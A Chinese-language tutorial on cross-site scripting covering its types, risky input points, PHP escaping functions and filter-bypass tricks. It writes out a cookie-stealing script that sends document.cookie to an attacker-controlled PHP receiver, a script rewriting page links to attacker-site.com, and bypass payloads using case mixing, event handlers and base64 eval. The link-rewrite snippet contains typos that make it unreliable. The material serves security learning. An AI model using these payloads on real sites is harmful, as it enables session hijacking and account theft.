01 XSS简介
XSS原理介绍
-
介绍
XSS(cross site scripting)跨站脚本攻击,发生在服务器恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,代码就会被执行
-
实现过程
- 攻击者将恶意代码插入到服务器
- 其他用户无防备的情况下访问服务器
- 服务器将含有恶意代码的网页响应发送给客户端
- 用户的客户端中执行了恶意代码
可能存在XSS的地方
留言板,聊天室,搜索等
如果用户的输入能在网页上显示,就很可能存在XSS
如果在URL中提交的参数值,在页面中显示,很有可能就存在XSS
如果在表单中提交的参数值,在页面中显示,很有可能就存在XSS如果HTTP自定义头中提交的参数,在页面中显示,很有可能就存在XSS
可以通过burpsuite抓包,修改HTTP头插入XSS-
XSS的危害
- 盗取用户账号
- 盗取用户cookie
- 劫持用户会话,执行其他操作
- 进行跳转、弹窗等
- 传播蠕虫
XSS分类
-
反射型XSS
又称非持续型XSS,往往具有一次性,常发生在输入框中
用户输入xss脚本<script>alert("xss");</script>
如果出现弹窗,就说明存在XSS
常用探测方式:- alert 弹出框
- confirm 确认框
- prompt 输入框
存储型XSS
又称持久型XSS,攻击脚本存储在目标服务器等数据库中,隐蔽性强,常常发生在留言板中
如用户在留言板中输入<script>alert(document.cookie);</script>
其他用户访问留言板时就会出现弹窗并显示cookie值-
DOM型XSS
DOM全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式攻击者的payload修改受害浏览器页面的DOM树,修改是在本地执行的,不会上传到服务器,因此DOM XSS难以检测
服务器不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞
02 XSS应用
XSS攻击方式
-
盗取cookie
<script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>
其中cookie.php为自己编写的接收cookie的代码<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>
通过重定向将用户的cookie发送给攻击者,随后攻击者就可以使用cookie进行下一步攻击,如登录
-
篡改链接
<script> window.onload=function(){ var link=document.getElementByTagName("a"); for (j=0;j<link.length;j++){ link[j].href="http://attacker-site.com/"; } } </scipt>
当窗口加载时,执行匿名函数
使用for循环获取所有a标签,将链接替换为攻击者的url,达到了网页跳转,刷流量的目的 结合beef的攻击
通过重定向,运行beef生成的payload,达到浏览器劫持的目的,进行进一步攻击结合msf的攻击
通过重定向,运行msf生成的payload,与受害者建立session,获得shell,进行进一步攻击结合钓鱼网站的攻击
使用set工具制作一个克隆的钓鱼网站,在真实网站中添加跳转的XSS,使受害者跳转到钓鱼网站,获取用户输入的信息xss自动化挖掘工具
xsser、xsstrike
XSS常用过滤函数
- htmlspecialchars()
将预定义的字符&,",',<,>等转换为HTML实体,作为字符串输出 - htmlentities()
会过滤用户输入的数据,将一些特殊字符转换为HTML实体
例如会将<,>转换为<,> - strip_tags(string,allow)
对string进行过滤,allow中的字符除外 - 自己编写黑名单白名单进行过滤
XSS绕过方式
- 简单的探测方式
输入一串不容易重复的字符,使用浏览器检查元素的功能查看用户输入被存储的位置,进一步分析闭合方式
输入类似<script " ' OOnn>的字符串,根据显示内容,观察对特殊字符的过滤情况 - 常用的payload
<script>alert('xss')</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script> - 双写绕过
<scscriptript>alert('xss')</scscriptript> - 伪协议
javascript:alert('xss')
可以用在a标签中
在旧版本ie中也可以用在img标签中 - 利用事件
windows事件、form事件、keyboard事件、mouse事件、media事件 - 大小写绕过
HTML中不区分大小写,而JS区分大小写
<Img sRc='#' OnERroR="alERt('xss')"/> - 利用引号
HTML中对引号不区分,而过滤函数有可能做了区分
<img src=# onerror=alert('xss')/>
<img src='#' onerror='alert('xss')'/>
<img src="#" onerror="alert('xss')"/> - 使用斜杠代替空格
<img/src=#/onerror=alert('xss')/> - 使用空格、tab和回车分隔开关键字
<img src=# onerror=alert('xss') /> - 编码绕过
<script>eval(atob('base64编码内容'));</script>
atob函数执行base64解码功能
eval函数将字符串当作程序执行
也可以使用十六进制、unicode等编码 - 关注最新的HTML标签,往往没有被过滤